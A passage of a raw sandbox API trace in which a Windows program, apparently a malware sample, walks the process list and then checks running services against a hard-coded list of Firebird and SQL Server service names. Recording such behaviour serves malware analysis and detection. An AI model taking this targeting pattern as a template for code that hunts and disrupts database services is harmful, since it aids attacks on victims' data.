lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.372] lstrlenW (lpString="audiodg.exe") returned 11 [0273.372] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.373] lstrlenW (lpString="svchost.exe") returned 11 [0273.373] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.373] lstrlenW (lpString="svchost.exe") returned 11 [0273.373] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0273.373] lstrlenW (lpString="userinit.exe") returned 12 [0273.373] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.373] lstrlenW (lpString="dwm.exe") returned 7 [0273.373] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.374] lstrlenW (lpString="explorer.exe") returned 12 [0273.374] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.374] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.374] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.374] lstrlenW (lpString="taskhost.exe") returned 12 [0273.374] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.374] lstrlenW (lpString="svchost.exe") returned 11 [0273.374] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0273.375] lstrlenW (lpString="chrome64b.exe") returned 13 [0273.375] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0273.375] lstrlenW (lpString="reader_sl.exe") returned 13 [0273.375] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.375] lstrlenW (lpString="taskhost.exe") returned 12 [0273.375] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0273.375] lstrlenW (lpString="consent.exe") returned 11 [0273.375] Process32NextW (in: hSnapshot=0x418, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0273.376] CloseHandle (hObject=0x418) returned 1 [0273.376] Sleep (dwMilliseconds=0x1f4) [0273.930] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3b3d3c8 [0273.931] EnumServicesStatusExW (in: hSCManager=0x3b3d3c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0273.931] GetLastError () returned 0xea [0273.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x4530048 [0273.931] EnumServicesStatusExW (in: hSCManager=0x3b3d3c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4530048, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4530048, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0273.932] CloseServiceHandle (hSCObject=0x3b3d3c8) returned 1 [0273.932] lstrlenW (lpString="Appinfo") returned 7 [0273.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0273.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0273.932] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0273.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0273.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0273.932] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.932] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.932] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.932] lstrlenW (lpString="AudioSrv") returned 8 [0273.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0273.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0273.933] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0273.933] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0273.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0273.933] lstrlenW (lpString="BFE") returned 3 [0273.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.933] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.933] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.933] lstrlenW (lpString="CryptSvc") returned 8 [0273.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.933] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.933] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.933] lstrlenW (lpString="CscService") returned 10 [0273.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0273.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0273.933] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0273.933] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0273.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0273.933] lstrlenW (lpString="DcomLaunch") returned 10 [0273.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.933] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.933] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.933] lstrlenW (lpString="Dhcp") returned 4 [0273.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.933] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.933] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.934] lstrlenW (lpString="Dnscache") returned 8 [0273.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.934] lstrlenW (lpString="DPS") returned 3 [0273.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.934] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.934] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.934] lstrlenW (lpString="eventlog") returned 8 [0273.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0273.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0273.934] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0273.934] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0273.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0273.934] lstrlenW (lpString="EventSystem") returned 11 [0273.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.934] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.934] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.934] lstrlenW (lpString="gpsvc") returned 5 [0273.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.934] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.934] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.934] lstrlenW (lpString="iphlpsvc") returned 8 [0273.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.934] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.935] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.935] lstrlenW (lpString="LanmanServer") returned 12 [0273.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.935] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.935] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.935] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.935] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.935] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.935] lstrlenW (lpString="lmhosts") returned 7 [0273.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.935] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.935] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.935] lstrlenW (lpString="MMCSS") returned 5 [0273.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0273.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0273.935] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0273.935] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0273.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0273.935] lstrlenW (lpString="MpsSvc") returned 6 [0273.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.935] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.935] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.935] lstrlenW (lpString="Netman") returned 6 [0273.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0273.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0273.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0273.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0273.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0273.936] lstrlenW (lpString="netprofm") returned 8 [0273.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.936] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.936] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.936] lstrlenW (lpString="NlaSvc") returned 6 [0273.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.936] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.936] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.936] lstrlenW (lpString="nsi") returned 3 [0273.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.936] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.936] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.936] lstrlenW (lpString="PcaSvc") returned 6 [0273.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.936] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.936] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.936] lstrlenW (lpString="PlugPlay") returned 8 [0273.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.936] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.937] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.937] lstrlenW (lpString="Power") returned 5 [0273.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.937] lstrlenW (lpString="ProfSvc") returned 7 [0273.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.937] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.937] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.937] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.937] lstrlenW (lpString="RpcSs") returned 5 [0273.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.937] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.937] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.937] lstrlenW (lpString="SamSs") returned 5 [0273.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.938] lstrlenW (lpString="Schedule") returned 8 [0273.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.938] lstrlenW (lpString="SENS") returned 4 [0273.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.938] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.938] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.938] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.938] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.938] lstrlenW (lpString="Spooler") returned 7 [0273.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.938] lstrlenW (lpString="SysMain") returned 7 [0273.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.938] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.939] lstrlenW (lpString="Themes") returned 6 [0273.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0273.939] lstrlenW (lpString="TrkWks") returned 6 [0273.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0273.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0273.939] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0273.939] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0273.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0273.939] lstrlenW (lpString="UxSms") returned 5 [0273.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0273.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0273.939] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0273.939] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0273.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0273.939] lstrlenW (lpString="WdiServiceHost") returned 14 [0273.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0273.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0273.939] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0273.939] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0273.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0273.939] lstrlenW (lpString="WdiSystemHost") returned 13 [0273.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0273.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0273.940] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0273.940] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0273.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0273.940] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0273.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0273.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0273.940] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0273.940] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0273.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0273.940] lstrlenW (lpString="Winmgmt") returned 7 [0273.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0273.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0273.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0273.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0273.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0273.940] lstrlenW (lpString="WPDBusEnum") returned 10 [0273.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0273.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0273.940] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0273.940] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0273.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0273.940] HeapFree (in: hHeap=0x540000, 